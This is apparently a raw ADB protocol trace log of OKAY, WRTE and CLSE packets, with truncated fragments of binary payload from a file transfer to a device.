<<<<('OKAY', 3, 2, 0, 0, 2797515952L)('')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
<<<<('WRTE', 3, 2, 4096, 421713, 3131813288L)('\x08\x89\xe0P\xe8\x87 ...... U\xe8\x83%\x0b\x00\x83\xc4\x14')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
<<<<('OKAY', 3, 2, 0, 0, 2797515952L)('')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
<<<<('OKAY', 3, 2, 0, 0, 2797515952L)('')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
<<<<('WRTE', 3, 2, 4096, 420120, 3131813288L)('\x8bD$\x04\xffp\xf4PV ...... \x10\x89F\x10\xc7G\x10\x00\x00')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
<<<<('WRTE', 3, 2, 4096, 443993, 3131813288L)('\x00\x00\x89\xf8\xf6\ ...... $\x89\x06\x89~\x04\xeb\x18\x85')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
<<<<('WRTE', 3, 2, 4096, 390556, 3131813288L)('\xc9t\x14\x8dS\x01\x8 ...... \x11\x00\x8b\x04$\x8dH\xf4\x81')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
<<<<('WRTE', 3, 2, 4096, 441506, 3131813288L)('\xf9\xf0\xdfV\x00\x0f ...... 9\x8b7\x85\xf6t-\x8bN\x041\xd2')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
<<<<('WRTE', 3, 2, 4096, 377940, 3131813288L)("DATA\xf8\xff\x00\x00\ ...... xc7@\x04$\x00\x00\x00\x89\x04$")
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
<<<<('WRTE', 3, 2, 4096, 377440, 3131813288L)('\xc7@\x08&\x00\x00\x0 ...... bN\\\x8bF<+N8\xc1\xf9\x02)\xc8')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
<<<<('WRTE', 3, 2, 4096, 414164, 3131813288L)('\x83\xf8\x01w\x0c\x8d ...... \x04\x89\xc1\x89\x1c$\xe8\x16K')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
<<<<('WRTE', 3, 2, 4096, 380210, 3131813288L)('\x13\x00\x8b?9\xfeu\x ...... \xd8\x05\xf6\xc3\x01t\x04\xc6G')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
<<<<('WRTE', 3, 2, 4096, 429057, 3131813288L)('\n_\xf6\xc7\x01t\x04\ ...... 4^_[]\xc3j\x1ah/YW\x00\xe8\x15')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
<<<<('WRTE', 3, 2, 4096, 431184, 3131813288L)('\xe6\x10\x00\xe9\xfc\ ...... e\r\x00\x83\xc4\x0c\x85\xc0t(f')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
<<<<('WRTE', 3, 2, 4096, 410664, 3131813288L)('\x0f\x1f\x84\x00\x00\ ...... 0f\x1f\x00U\x89\xe5SWV\x83\xe4')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
<<<<('WRTE', 3, 2, 4096, 409749, 3131813288L)('\xf8\x83\xecP\x8dA\x1 ...... x1ch\xccbW\x00P\xe8\x88e\n\x00')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
<<<<('WRTE', 3, 2, 4096, 386550, 3131813288L)('\x83\xc4\x10\x8bD$\x0 ...... \x13\x00\x83\xc4\x041\xc0^\xc3')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
<<<<('WRTE', 3, 2, 4096, 365950, 3131813288L)("\x0f\x1f\x84\x00\x00\ ...... 0f\x90\x90USWV\x83\xec\x10\x8b")
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
<<<<('WRTE', 3, 2, 4096, 462109, 3131813288L)('D$$\x89\xce\x8b\x00h\ ...... 00\x00\x00\x00\xe9\x97\x00\x00')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
<<<<('WRTE', 3, 2, 4096, 424851, 3131813288L)('\x00\x0f\x1f\x80\x00\ ...... bc\\W\x00\x8bC\x04\x83\xf8\xff')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
<<<<('WRTE', 3, 2, 4096, 412519, 3131813288L)('t\tP\xe8p\xb3\xfe\xff ...... x83\xc4\x0c\x8bD$\x04\xffp\xf4')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
<<<<('WRTE', 3, 2, 4096, 426824, 3131813288L)('PS\xe81\xf9\x12\x00\x ...... \x01\xe8\xebT\x10\x00\x89\xd9W')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
<<<<('WRTE', 3, 2, 4096, 453493, 3131813288L)('\xe8sS\x10\x00\x8b\x1 ...... D\x13\x00\x83\xc4\x04\x8dH\x04')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
<<<<('WRTE', 3, 2, 4096, 427585, 3131813288L)('\xc7@\x14\x00\x00\x00 ...... x0c\x8bD$\x04\x8dH\xf4\x81\xf9')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
<<<<('WRTE', 3, 2, 4096, 432864, 3131813288L)("DATA\xf8\xff\x00\x00\ ...... d3j\x00j\x00j\x00V\xff\xd5\x85")
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
<<<<('WRTE', 3, 2, 4096, 442257, 3131813288L)('\xc0u\xed\xf6\x05H\xc ...... \x0f\xc1P\xfc\x85\xd2\x0f\x8fk')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
<<<<('WRTE', 3, 2, 4096, 456793, 3131813288L)('\xfb\xff\xff\x8dD$\x1 ...... 8\x8dt$\x04\x89\xf1j\xffj\x00j')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
<<<<('CLSE', 3, 2, 0, 0, 3131880380L)('')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
<<<<('CLSE', 3, 2, 0, 0, 3131880380L)('')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
<<<<('CLSE', 3, 2, 0, 0, 3131880380L)('')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
<<<<('CLSE', 3, 2, 0, 0, 3131880380L)('')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
<<<<('CLSE', 3, 2, 0, 0, 3131880380L)('')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
>>>>('OKAY', 2, 3, 0, 0, 2797515952L)('')
...